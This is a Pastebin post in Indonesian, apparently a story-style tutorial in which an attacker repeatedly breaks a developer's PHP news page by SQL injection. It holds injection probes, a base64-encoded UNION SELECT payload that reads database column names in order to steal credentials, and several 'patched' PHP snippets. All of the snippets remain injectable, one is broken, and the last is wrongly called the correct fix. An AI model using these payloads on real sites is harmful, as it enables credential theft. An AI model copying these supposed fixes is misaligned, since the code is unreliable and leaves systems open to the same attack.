Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attacker vs Developer 2 (part 2)
- selang berapa waktu setelah peretasan pertama si attacker pun kemabali menyerang web si developer masih di celah yang sama
- ketika kembali meretas web tersebut si attacker pun mendapati bug yang kemarin di patch oleh si developer, sang attacker pun meneliti patch si developer. dan sang attacker mendapati bahwa patch tersebut hanya patch yang amat fatal karena bug yang kemarin masih bisa di retas lagi, setelah meneliti patch si developer attacker pun berkesimpulan bahwa patch tersebut bisa di bypass dengan teknik sql injection string based dimana sang attacker hanya perlu menambahkan ' dan penambahan query coment -- -
- // sql injection basic
- berita.php?id=1 order by 1-- true
- berita.php?id=1 order by 12-- true
- berita.php?id=1 order by 100-- true
- //sql injection string based
- berita.php?id=1' order by 1-- - true
- berita.php?id=1' order by 12-- - eror
- kemudian sang Attacker pun kembali mendapatkan user dan password web si developer
- beberpa jam kemudian si developer pun mendapati webnya kembali di bobol oleh sang attacker dan si developer pun menganalisa kembali atch yang ia masukan kemarin dan di dapati dari log website nya si developer pun berkesimpulan sebagai berikut
- <?php
- @ini_set('display_errors',0);
- include('db.php');
- $id = $_GET['id'];
- $query = "SELECT * FROM artikel where id='$id'";
- $result = mysql_query($query);
- $artikel = mysql_fetch_array($result);
- echo $artikel['content'];
- ?>
- ketika sang attacker menginjeksi web si developer dengan string ' -- - untuk menyelipkan query injeksi dan mematikan query di web setelah query coment yang di injeksikan oleh sang attacker -- -
- maka query sang developer menjadi
- SELECT * FROM artikel where id='2' order by 1-- -';
- setelah mengetahui cara kerja bypass tersebut sang developer pun membuat patch baru dengan sedikit modifikasi
- pada value id dengan mengganti dengan base64 sehngga menjadi
- berita.php?id=MTI_
- dan pada script
- <?php
- @ini_set('display_errors',0);
- include('db.php');
- $id = base64_decode(str_replace("=","_",$_GET['id']));
- $iddefault = $_SESSION['id_default'];
- if(isset($id)){
- $query = "SELECT * FROM artikel where id='$id'";
- }else{
- $query = "SELECT * FROM artikel where id='$iddefault'";
- }
- $result = mysql_query($query);
- $artikel = mysql_fetch_array($result);
- $artikel = [];
- $artikel['content'] = '';
- echo $artikel['content'];
- ?>
- esoknya hari sang attacker kembali menyambangi web si developer dan mendapati web si developer sedikit berbeda karena sudah di patch, sang attacker pun bersemangat karena mendapat sebuah perlawanan dari si deveoloper kemabali dia mengetes dengan menambahkan string '
- berita.php?id=MTI_'
- namun yang ia dapati adalah webnya tak ada error sama sekali malah kembali ke artikel sebelumnya, kemudian sang attacker pun mengetahui bahwa MTI_ mirip seperti base64 untuk menguatkan spekulasinya si attacker pun mencoba beberapa angka yang di encode ke base 64
- 1,175, dan 23 menjadi MQ==,MTc1,MjM=
- dan sang attacker mencoba satu per satu
- berita.php?id=MQ== | artikel tak berubah
- berita.php?id=MTc1 | artikel berubah
- berita.php?id=MjM= | artikel kembali ke awal
- sang attacker pun berkesimpulan bahwa itu memangg base64 namun dia masih heran karena ketika di beri MQ== yang encode dari angka 1 kok tidak bisa, sang attacker pun kembali meneliti dan menyimpulkan hal yang mencurigakan yaitu tanda _
- dalam hati attacker pun bertanya-tanya
- "mungkinkah _ adalah = " :/
- dan sang attacker pun mencobanya kembali
- berita.php?id=MQ==
- menjadi
- berita.php?id=MQ__
- dan yang ia dapati adalah keberhasilan jadi sang attacker menyimpulkan bahwa developer mempatch dengan base64 dan mengganti = dengan _
- setelah mendapat kesimpulan tersebut sang attacker pun kembali menyisipkan query injeksi nya
- 1' union slelect 1,2,3,group_concat(column_name),5,6,7,8,9,10 from information_schema.columns where table_name=0x75736572-- -
- lalu sang attacker pun mengencode query tersebut menjadi
- MScgdW5pb24gc2xlbGVjdCAxLDIsMyxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDUsNiw3LDgsOSwxMCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9MHg3NTczNjU3Mi0tIC0=
- dan mengganti = dengan _
- berita.php?id=MScgdW5pb24gc2xlbGVjdCAxLDIsMyxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDUsNiw3LDgsOSwxMCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9MHg3NTczNjU3Mi0tIC0_
- akhirnya sang developer kembali mendapati user dan password web si developer
- setelah mengetahui webnya masih bisa di bobol sang attacker si developer pun kembali berfikir keras bagaimana mempatch celah tersebut. selang beberapa menit si developer pun menemukan cara patch yang tepat
- yaitu dengan mengganti berita.php?id=MQ__ menjadi urlfriendly seperti berikut
- http://www.situssideveloper.dev/berita/the-power-of-papa-setnov.html
- <?php
- @ini_set('display_errors',0);
- include('db.php');
- $alias = explode(".html",$_GET['alias'])[0];
- $query = "SELECT * FROM artikel where alias='$alias'";
- $result = mysql_query($query);
- $artikel = mysql_fetch_array($result);
- if(isset($artikel)){
- echo $artikel['content'];
- }else{
- header('HTTP/1.1 404 Not Found');
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement